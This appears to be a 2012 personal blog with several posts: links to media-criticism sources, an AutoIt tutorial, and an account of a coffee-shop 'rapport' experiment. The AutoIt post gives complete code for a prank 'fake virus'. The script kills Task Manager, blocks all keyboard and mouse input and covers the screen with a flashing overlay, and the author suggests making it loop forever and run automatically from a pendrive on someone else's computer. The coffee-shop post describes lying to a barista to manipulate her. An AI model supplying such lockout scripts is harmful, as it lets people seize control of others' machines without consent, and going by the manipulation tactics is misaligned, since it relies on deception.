Just thought I would make a quick post here to let everyone know about a new blog I found the other day. It is at http://squ1r3ll.com and y'all should check that out for some extra media cynicism in your life.
Tuesday, 28 February 2012
Tuesday, 21 February 2012
Media Cynicism 101 - A Few Media Cynicism Links
This is a very interesting blog of which I was made aware only recently. It is written by a gentleman by the name of John Ward. He is a retired industry insider with many contacts still inside the many different industries that make the world tick. He writes frequently (pretty much daily, if not multiple times a day) and he always posts interesting media analysis in connection to whatever is happening in the news at that time. Find out more at http://hat4uk.wordpress.com/about/ The No Agenda Show - http://www.noagendashow.com/ or http://noagendanewsnetwork.com/
This is a fantastic twice weekly podcast by two media assassins Adam Curry & John C. Dvorak. It doesn't even need explaining. Just listen to it. Yes, there is some serious inside baseball (inside jokes/terms) but once you listen to a few shows you start to see the patterns and recognise what they mean. Also, Google helps a lot... I would recommend, if you're just a beginner, either go back and listen to the back catalog - (from maybe about 290-ish because that's many hours of media assassination) because whilst the news might be outdated, it gives you a good idea of what these two are about and it helps to develop your questioning sense - or you start at episode 318 - http://381.nashownotes.com/ - which is where Adam reveals his data collection of details around the oil fields and pipelines in the Middle East and why Syria, Homs in particular, has been in the news of late. This is one of the best investigations that I've seen in a long time, forget The Guardian Investigates: Them Riots What Happened in London. So, there's a few for you to get your feet wet. I will be posting more links as time goes on, so watch the media cynicism 101 tag on this here website for more details.
Why You Should Just... Wait [Pt. 1] - Ending A Lesson
Monday, 6 February 2012
Easy Drive Detection With AutoIt
Friday, 3 February 2012
AutoIt And It's Destructive Potential
AutoIt is amazing. They have a website. Read about it there because it would be a waste of my time to try and explain it to you. The help file is massive so anything you need, you can find there. Also, if you want to use the user created functions and such, everything's in the help file. It really is rather extensive.
So, onto an example. This is basically an example of a script that you can run from an autoexec.bat on someone else's computer to give them a fake and very obvious virus. Let's begin:
#include <GUIConstantsEx.au3>
You will need this line to allow you to use the GUI controls. We will be creating the GUI as an overlay on top of everything on the screen. This will make the user think that something weird is going on with their computer because they can't see any of their windows.
$loop = 0 $x = 1 WinMinimizeAll() GUICreate("LOL PWN TIME", 4000, 4000)
These two variables are needed for a little bit later on. Explanation to follow. Line 3 minimizes all of the other windows which isn't really necessary but it's a pretty cool action to use in some other scripts. Line 4 is obviously the GUI creation. It's 4000 by 4000 because I'm not aware of many people that run their resolution this high so it's likely to work with everyone but by all means, change it to your liking.
while $loop < 20 <span style="white-space: pre;"> </span>ProcessClose("taskmgr.exe") <span style="white-space: pre;"> </span>GUISetState(@SW_SHOW) <span style="white-space: pre;"> </span>GUISetBkColor(0xFF0000) <span style="white-space: pre;"> </span>MouseMove($loop, $loop + 1) <span style="white-space: pre;"> </span>GUISetBkColor(0x000000) <span style="white-space: pre;"> </span>GUISetBkColor(0xFFFFFF) <span style="white-space: pre;"> </span>for $x = 300 to 3000 step 300 <span style="white-space: pre;"> </span>BlockInput(1) <span style="white-space: pre;"> </span>Beep($x,1) <span style="white-space: pre;"> </span>Next <span style="white-space: pre;"> </span>$loop = $loop + 1 wend
Here is the meat of the script, as well as those variables that I promised earlier. The while loop is there to control the amount of times the screen will flash. If you want an infinite loop, you can either set this to = 0 and comment out the second to last line or just comment out the second to last line; it's really up to you. Line 2 closes any attempts that the user makes at pressing ctrl + alt + del so that they think that their pc is truly locked up. Line 3 shows the GUI. Line 4 sets the colour of the GUI to red. Line 5 moves the mouse creepily. You can set this to a randomly generated number but it will only work really well on fast machines, not on the ones with crappy processors. Lines 6 & 7 sets the GUI colours to black and white respectively. You can change any one of the colour lines for any colour that you like, as well as add a sleep if you want one to stay on for longer.
Line 8 is where the beep is generated. 300 to 3000 is a pretty good range for the beep frequency but feel free to play around with this as some interesting things can happen when you do. The 'step' is basically how many tones you want in between 300 and 3000. if you do step 1 then it will play every sound which is interesting but takes a very long time. Line 9 just blocks user input every time the sound is played because if it was outside this loop and in the while loop, they would have a small window of time in which to press ctrl + alt + del which would be bad... For the parameters of beep, we give it the x variable which is being constantly changed and the time for each beep which I have at 1 for the sake of speed. Playing around with this is very interesting and should definitely be explored. Then, we have the line that you can comment out if you want an infinite loop. So after you're done playing around with the script, comment this out and make it autoexec when a pendrive is inserted into a pc and viola! Magic virus funtimes.
It won't let me attach the whole script so I'll paste it all in here if you want to copy it verbatim:
In code: #cs ############################################################################ AutoIt Version: 3.3.8.1 Author: squ1r3ll Script Function: To make weird things happen if you need to haze someone or make them think that they have a virus #ce ############################################################################ #include <GUIConstantsEx.au3> $loop = 0 $x = 1 WinMinimizeAll() GUICreate("LOL PWN TIME", 4000, 4000) ;create the GUI overlay for the screen while $loop < 20 ;controls how many times the screen flashes along with line 26 ProcessClose("taskmgr.exe") GUISetState(@SW_SHOW) ;show the GUI GUISetBkColor(0xFF0000) ;set the colour to black MouseMove($loop, $loop + 1) GUISetBkColor(0x000000) ;set the colour to red ;MouseMove($loop, $loop + 1) GUISetBkColor(0xFFFFFF) ;set the colour to white for $x = 300 to 3000 step 300 <span style="white-space: pre;"> </span> BlockInput(1) ;block all user input every loop so that ctrl + alt + del won't work very well <span style="white-space: pre;"> </span> Beep($x,1) ;make the weird beeping noise Next $loop = $loop + 1 ;comment this line out for an infinite loop wend
In plaintext:
#cs ############################################################################
AutoIt Version: 3.3.8.1
Author: squ1r3ll
Script Function:
To make weird things happen if you need to haze someone or make them think that they have a virus
#ce ############################################################################
#include <GUIConstantsEx.au3>
$loop = 0
$x = 1
WinMinimizeAll()
GUICreate("LOL PWN TIME", 4000, 4000) ;create the GUI overlay for the screen
while $loop < 20 ;controls how many times the screen flashes along with line 26
ProcessClose("taskmgr.exe")
GUISetState(@SW_SHOW) ;show the GUI
GUISetBkColor(0xFF0000) ;set the colour to black
MouseMove($loop, $loop + 1)
GUISetBkColor(0x000000) ;set the colour to red
;MouseMove($loop, $loop + 1)
GUISetBkColor(0xFFFFFF) ;set the colour to white
for $x = 300 to 3000 step 300
BlockInput(1) ;block all user input every loop so that ctrl + alt + del won't work very well
Beep($x,1) ;make the weird beeping noise
Next
$loop = $loop + 1 ;comment this line out for an infinite loop
wend
Have fun!
'The Usual, Sir?' or Making an Impression
- I attended the same coffee shop
- I arrived at the same time (9 AM)
- I attended on the same days of every week
- I ordered the same drink
Now, I don't have many distinguishing features. I am taller than roughly 94% of the people that I meet on a regular basis but I don't exactly have a Mohawk or piercings all over my face. I could have added one of these to make myself more recognisable but the one ground rule that I set myself before beginning this was that I would not sacrifice my dignity for it. There's not a whole bunch of it to start with so I didn't want to lose much during the experiment. This means that I had to use small tidbits of information that they gave to me to make them think 'Oh wow, this guy actually listens, maybe he's worth remembering...'
At this point, it's worth giving a short list of the baristas whom I saw on those days:
- 'The Chick with Dreads' (as she calls herself, not a name I gave her)
- The European Chick
- The Bun Chick (hair, not baked goods)
Three baristas. Two days a week. 1.5 interactions with each every week. And I had to get them to remember me. I started out by just observing. Checking out the relationship between the baristas which seemed to be fairly good. They all seemed to be colleagues and friends, neither one of them being the owner of the place. Which was useful for me because I could then observe small details that they shared when they were talking amongst themselves. Like The Chick With Dreads (herein referred to as Dreads Chick) has a cat. (Quick side-note: lots of my techniques from here in come from <a href="http://www.amazon.co.uk/Its-Not-All-About-ebook/dp/B0060YIBLK/ref=sr_1_1?ie=UTF8&qid=1328262243&sr=8-1>this book</a> which you should all go and read now!) This gave me a third party reference to use and due to the fact that it was obvious I was going to have to leave the shop at some point, I already had an artificial time constraint.
Therefore, the next time she was looking my way, I made sure that I glanced at watch, adopted an alarmed facial expression and gulped down the last few mouthfuls of my coffee. Quickly gathering my belongings, I made for the door. But before I got there, I made sure that I turned to her and said 'I'm sorry to bother you, ahh, I'm about to be late for a meeting but I didn't want to forget this. I overheard you talking about your cat earlier and I'm looking to get a cat for my girlfriend as a third anniversary present and was wondering, is there a type I should get if I want a specific thing from them, like you would with dogs, or are they all relatively similar?' This worked like a charm because of a couple of things. I used the artificial time constraint (which made her think that I wasn't after a long conversation because I was late) as well as the fact that I had a long term girlfriend (so that she wouldn't think that I was coming on to her because I've been with this girl 3 years so I must be faithful) and the sympathy theme (which makes her want to help me because I know nothing about a subject and she can enlighten me). There was also an ego booster in there (because she knew more than me so she felt superior). All of this, as well a very slight expression of worry on my face indicated that I was genuinely after some advice on cats. I wasn't. I do not have a long term girlfriend, I wasn't late and I don't really have an interest in cats. But all of those things made it seem like I did, so she talked to me. For about 15 minutes, we discussed the merits of different types of cats and what my 'girlfriend' preferred in a pet. This was useful because now she knows a little about me (in theory) and she will remember the nice chat we had until I see her next week. She was the Tuesday morning barista so I attempted the same thing on Thursday but got no useable information from either barista. This meant waiting until the next Tuesday.
Come the next Tuesday and my techniques did have an effect. As soon I walked through the door, Dreads Chick turned and looked at me. For a moment, she didn't recognise me but I could see it on her face as soon as she did. She smiled at me and we exchanged pleasantries whilst she made my coffee. She had remembered me but not my order, just as I had expected. Oh well, one step at a time. So she inquired about the cat and I mentioned that I was looking at places to buy one from. She helpfully gave me a couple of good local places and I thanked her and left (after drinking my coffee, of course). The next week, I went back. Same thing happened, exchange of pleasantries, etc but this time, she asked 'You having a large hazelnut latte again?' And I smiled. She remembered. I said yes but to go because I was in a bit of a hurry at the time and I left. The next week it was, 'You having your usual?' Bang. Success. So now, this is my Tuesday coffee shop. I am working my way up with the others but not as persistently because I know that can do it quickly if I need to.
Four weeks. From start to finish of my experiment. She remembered my drink after three but it took four for her to know that it was my regular. If you want some helpful tips on creating rapport like this, read the book in the link above. It is an extremely useful aide.
Now, go forth and have 'the usual!'